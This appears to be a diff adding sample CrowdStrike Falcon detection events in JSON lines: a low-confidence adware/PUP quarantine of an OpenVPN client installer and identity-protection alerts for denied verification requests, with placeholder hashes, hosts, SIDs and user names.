true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
+{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpe